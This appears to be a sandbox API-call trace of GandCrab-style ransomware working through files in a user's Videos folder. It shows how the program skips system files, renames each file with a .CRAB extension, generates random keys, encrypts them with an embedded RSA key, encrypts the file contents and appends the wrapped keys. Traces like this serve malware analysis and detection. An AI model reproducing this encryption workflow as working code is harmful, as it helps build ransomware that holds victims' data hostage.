	[0134.909] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\Jjej7x4SOz7qMu.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\u9rnroma-ues_1\\jjej7x4soz7qmu.mp4")) returned 0x20
	[0134.909] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\Jjej7x4SOz7qMu.mp4", dwFileAttributes=0x20) returned 1
	[0134.910] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\Jjej7x4SOz7qMu.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\u9rnroma-ues_1\\jjej7x4soz7qmu.mp4"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\Jjej7x4SOz7qMu.mp4.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\u9rnroma-ues_1\\jjej7x4soz7qmu.mp4.crab")) returned 1
	[0134.911] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0134.911] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\Jjej7x4SOz7qMu.mp4.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\Jjej7x4SOz7qMu.mp4.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\Jjej7x4SOz7qMu.mp4.CRAB"
	[0134.911] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\Jjej7x4SOz7qMu.mp4.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\Jjej7x4SOz7qMu.mp4.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\Jjej7x4SOz7qMu.mp4.CRAB.CRAB"
	[0134.911] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6eb78) returned 1
	[0134.912] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0134.912] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0134.913] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0134.913] CryptGenRandom (in: hProv=0xd6eb78, dwLen=0x10, pbBuffer=0x314c96c | out: pbBuffer=0x314c96c) returned 1
	[0134.913] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0134.913] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.913] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6e5a0) returned 1
	[0134.914] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0134.914] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0134.914] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0134.914] CryptGenRandom (in: hProv=0xd6e5a0, dwLen=0x20, pbBuffer=0x314c948 | out: pbBuffer=0x314c948) returned 1
	[0134.915] CryptReleaseContext (hProv=0xd6e5a0, dwFlags=0x0) returned 1
	[0134.915] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.915] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0134.915] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0134.915] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6eb78) returned 1
	[0134.916] CryptImportKey (in: hProv=0xd6eb78, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0x32497b0) returned 1
	[0134.917] CryptGetKeyParam (in: hKey=0x32497b0, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0134.917] CryptEncrypt (in: hKey=0x32497b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314c97c*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314c97c*=0x100) returned 1
	[0134.917] GetLastError () returned 0x0
	[0134.917] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0134.917] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6e6b0) returned 1
	[0134.918] CryptImportKey (in: hProv=0xd6e6b0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0x32498b0) returned 1
	[0134.918] CryptGetKeyParam (in: hKey=0x32498b0, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0134.918] CryptEncrypt (in: hKey=0x32498b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314c980*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314c980*=0x100) returned 1
	[0134.919] GetLastError () returned 0x0
	[0134.919] CryptReleaseContext (hProv=0xd6e6b0, dwFlags=0x0) returned 1
	[0134.919] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\Jjej7x4SOz7qMu.mp4.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\u9rnroma-ues_1\\jjej7x4soz7qmu.mp4.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ec
	[0134.919] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0134.919] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3560000
	[0134.920] ReadFile (in: hFile=0x3ec, lpBuffer=0x3560000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314c9c4, lpOverlapped=0x0 | out: lpBuffer=0x3560000*, lpNumberOfBytesRead=0x314c9c4*=0x16b8c, lpOverlapped=0x0) returned 1
	[0134.931] VirtualAlloc (lpAddress=0x0, dwSize=0x16b90, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0134.933] VirtualAlloc (lpAddress=0x0, dwSize=0x16b90, flAllocationType=0x3000, flProtect=0x4) returned 0x320000
	[0134.935] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.936] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0xfffe9474, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0134.936] WriteFile (in: hFile=0x3ec, lpBuffer=0x320000*, nNumberOfBytesToWrite=0x16b90, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x320000*, lpNumberOfBytesWritten=0x314c9b4*=0x16b90, lpOverlapped=0x0) returned 1
	[0134.936] VirtualFree (lpAddress=0x320000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.937] VirtualFree (lpAddress=0x3560000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.941] WriteFile (in: hFile=0x3ec, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0134.941] WriteFile (in: hFile=0x3ec, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0134.941] WriteFile (in: hFile=0x3ec, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314c9b4*=0x8, lpOverlapped=0x0) returned 1
	[0134.941] CloseHandle (hObject=0x3ec) returned 1
	[0134.941] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.941] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.941] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.942] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.942] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.942] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.942] FindNextFileW (in: hFindFile=0x3249cf0, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 1
	[0134.942] lstrcmpW (lpString1="KIA7SBA.swf", lpString2=".") returned 1
	[0134.942] lstrcmpW (lpString1="KIA7SBA.swf", lpString2="..") returned 1
	[0134.942] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\", lpString2="KIA7SBA.swf" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\KIA7SBA.swf") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\KIA7SBA.swf"
	[0134.942] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0134.942] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\KIA7SBA.swf") returned 55
	[0134.943] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\KIA7SBA.swf") returned 55
	[0134.943] lstrlenW (lpString=".swf") returned 4
	[0134.943] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0134.943] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".swf ") returned 5
	[0134.943] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.943] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\KIA7SBA.swf") returned 55
	[0134.943] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\KIA7SBA.swf") returned 55
	[0134.943] lstrcmpiW (lpString1="KIA7SBA.swf", lpString2="desktop.ini") returned 1
	[0134.943] lstrcmpiW (lpString1="KIA7SBA.swf", lpString2="autorun.inf") returned 1
	[0134.943] lstrcmpiW (lpString1="KIA7SBA.swf", lpString2="ntuser.dat") returned -1
	[0134.943] lstrcmpiW (lpString1="KIA7SBA.swf", lpString2="iconcache.db") returned 1
	[0134.943] lstrcmpiW (lpString1="KIA7SBA.swf", lpString2="bootsect.bak") returned 1
	[0134.943] lstrcmpiW (lpString1="KIA7SBA.swf", lpString2="boot.ini") returned 1
	[0134.943] lstrcmpiW (lpString1="KIA7SBA.swf", lpString2="ntuser.dat.log") returned -1
	[0134.943] lstrcmpiW (lpString1="KIA7SBA.swf", lpString2="thumbs.db") returned -1
	[0134.943] lstrcmpiW (lpString1="KIA7SBA.swf", lpString2="CRAB-DECRYPT.txt") returned 1
	[0134.943] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0134.944] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\KIA7SBA.swf.CRAB") returned 60
	[0134.944] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\KIA7SBA.swf" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\u9rnroma-ues_1\\kia7sba.swf")) returned 0x20
	[0134.944] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\KIA7SBA.swf", dwFileAttributes=0x20) returned 1
	[0134.944] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\KIA7SBA.swf" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\u9rnroma-ues_1\\kia7sba.swf"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\KIA7SBA.swf.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\u9rnroma-ues_1\\kia7sba.swf.crab")) returned 1
	[0134.945] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0134.945] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\KIA7SBA.swf.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\KIA7SBA.swf.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\KIA7SBA.swf.CRAB"
	[0134.945] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\KIA7SBA.swf.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\KIA7SBA.swf.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\KIA7SBA.swf.CRAB.CRAB"
	[0134.945] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6e408) returned 1
	[0134.947] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0134.947] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0134.947] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0134.947] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x314c96c | out: pbBuffer=0x314c96c) returned 1
	[0134.947] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0134.947] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.947] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6e408) returned 1
	[0134.949] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0134.949] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0134.949] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0134.949] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x314c948 | out: pbBuffer=0x314c948) returned 1
	[0134.949] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0134.949] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.949] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0134.950] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0134.951] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6e408) returned 1
	[0134.954] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0x32497f0) returned 1
	[0134.954] CryptGetKeyParam (in: hKey=0x32497f0, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0134.954] CryptEncrypt (in: hKey=0x32497f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314c97c*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314c97c*=0x100) returned 1
	[0134.955] GetLastError () returned 0x0
	[0134.955] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0134.955] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6eb78) returned 1
	[0134.957] CryptImportKey (in: hProv=0xd6eb78, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0x3249930) returned 1
	[0134.957] CryptGetKeyParam (in: hKey=0x3249930, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0134.957] CryptEncrypt (in: hKey=0x3249930, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314c980*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314c980*=0x100) returned 1
	[0134.958] GetLastError () returned 0x0
	[0134.958] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0134.958] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\KIA7SBA.swf.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\u9rnroma-ues_1\\kia7sba.swf.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ec
	[0134.958] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0134.959] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3560000
	[0134.959] ReadFile (in: hFile=0x3ec, lpBuffer=0x3560000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314c9c4, lpOverlapped=0x0 | out: lpBuffer=0x3560000*, lpNumberOfBytesRead=0x314c9c4*=0x14aeb, lpOverlapped=0x0) returned 1
	[0134.977] VirtualAlloc (lpAddress=0x0, dwSize=0x14af0, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0134.979] VirtualAlloc (lpAddress=0x0, dwSize=0x14af0, flAllocationType=0x3000, flProtect=0x4) returned 0x320000
	[0134.982] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.983] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0xfffeb515, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0134.983] WriteFile (in: hFile=0x3ec, lpBuffer=0x320000*, nNumberOfBytesToWrite=0x14af0, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x320000*, lpNumberOfBytesWritten=0x314c9b4*=0x14af0, lpOverlapped=0x0) returned 1
	[0134.983] VirtualFree (lpAddress=0x320000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.984] VirtualFree (lpAddress=0x3560000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.989] WriteFile (in: hFile=0x3ec, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0134.990] WriteFile (in: hFile=0x3ec, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0134.990] WriteFile (in: hFile=0x3ec, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314c9b4*=0x8, lpOverlapped=0x0) returned 1
	[0134.990] CloseHandle (hObject=0x3ec) returned 1
	[0134.990] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.990] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.991] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.991] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.991] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.992] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.992] FindNextFileW (in: hFindFile=0x3249cf0, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 1
	[0134.992] lstrcmpW (lpString1="nScoDAv1eKJfTjHhZGNN.swf", lpString2=".") returned 1
	[0134.992] lstrcmpW (lpString1="nScoDAv1eKJfTjHhZGNN.swf", lpString2="..") returned 1
	[0134.992] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\", lpString2="nScoDAv1eKJfTjHhZGNN.swf" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\nScoDAv1eKJfTjHhZGNN.swf") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\nScoDAv1eKJfTjHhZGNN.swf"
	[0134.992] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0134.992] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\nScoDAv1eKJfTjHhZGNN.swf") returned 68
	[0134.992] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\nScoDAv1eKJfTjHhZGNN.swf") returned 68
	[0134.992] lstrlenW (lpString=".swf") returned 4
	[0134.993] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0134.993] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".swf ") returned 5
	[0134.993] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.993] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\nScoDAv1eKJfTjHhZGNN.swf") returned 68
	[0134.993] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\nScoDAv1eKJfTjHhZGNN.swf") returned 68
	[0134.993] lstrcmpiW (lpString1="nScoDAv1eKJfTjHhZGNN.swf", lpString2="desktop.ini") returned 1
	[0134.993] lstrcmpiW (lpString1="nScoDAv1eKJfTjHhZGNN.swf", lpString2="autorun.inf") returned 1
	[0134.993] lstrcmpiW (lpString1="nScoDAv1eKJfTjHhZGNN.swf", lpString2="ntuser.dat") returned -1
	[0134.993] lstrcmpiW (lpString1="nScoDAv1eKJfTjHhZGNN.swf", lpString2="iconcache.db") returned 1
	[0134.993] lstrcmpiW (lpString1="nScoDAv1eKJfTjHhZGNN.swf", lpString2="bootsect.bak") returned 1
	[0134.994] lstrcmpiW (lpString1="nScoDAv1eKJfTjHhZGNN.swf", lpString2="boot.ini") returned 1
	[0134.994] lstrcmpiW (lpString1="nScoDAv1eKJfTjHhZGNN.swf", lpString2="ntuser.dat.log") returned -1
	[0134.994] lstrcmpiW (lpString1="nScoDAv1eKJfTjHhZGNN.swf", lpString2="thumbs.db") returned -1
	[0134.994] lstrcmpiW (lpString1="nScoDAv1eKJfTjHhZGNN.swf", lpString2="CRAB-DECRYPT.txt") returned 1
	[0134.994] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0134.996] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\nScoDAv1eKJfTjHhZGNN.swf.CRAB") returned 73
	[0134.996] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\nScoDAv1eKJfTjHhZGNN.swf" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\u9rnroma-ues_1\\nscodav1ekjftjhhzgnn.swf")) returned 0x20
	[0134.996] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\nScoDAv1eKJfTjHhZGNN.swf", dwFileAttributes=0x20) returned 1
	[0134.997] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\nScoDAv1eKJfTjHhZGNN.swf" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\u9rnroma-ues_1\\nscodav1ekjftjhhzgnn.swf"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\nScoDAv1eKJfTjHhZGNN.swf.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\u9rnroma-ues_1\\nscodav1ekjftjhhzgnn.swf.crab")) returned 1
	[0134.998] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0134.999] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\nScoDAv1eKJfTjHhZGNN.swf.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\nScoDAv1eKJfTjHhZGNN.swf.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\nScoDAv1eKJfTjHhZGNN.swf.CRAB"
	[0134.999] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\nScoDAv1eKJfTjHhZGNN.swf.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\nScoDAv1eKJfTjHhZGNN.swf.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\nScoDAv1eKJfTjHhZGNN.swf.CRAB.CRAB"
	[0134.999] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6e9e0) returned 1
	[0135.001] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0135.001] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0135.001] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0135.001] CryptGenRandom (in: hProv=0xd6e9e0, dwLen=0x10, pbBuffer=0x314c96c | out: pbBuffer=0x314c96c) returned 1
	[0135.001] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0135.001] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
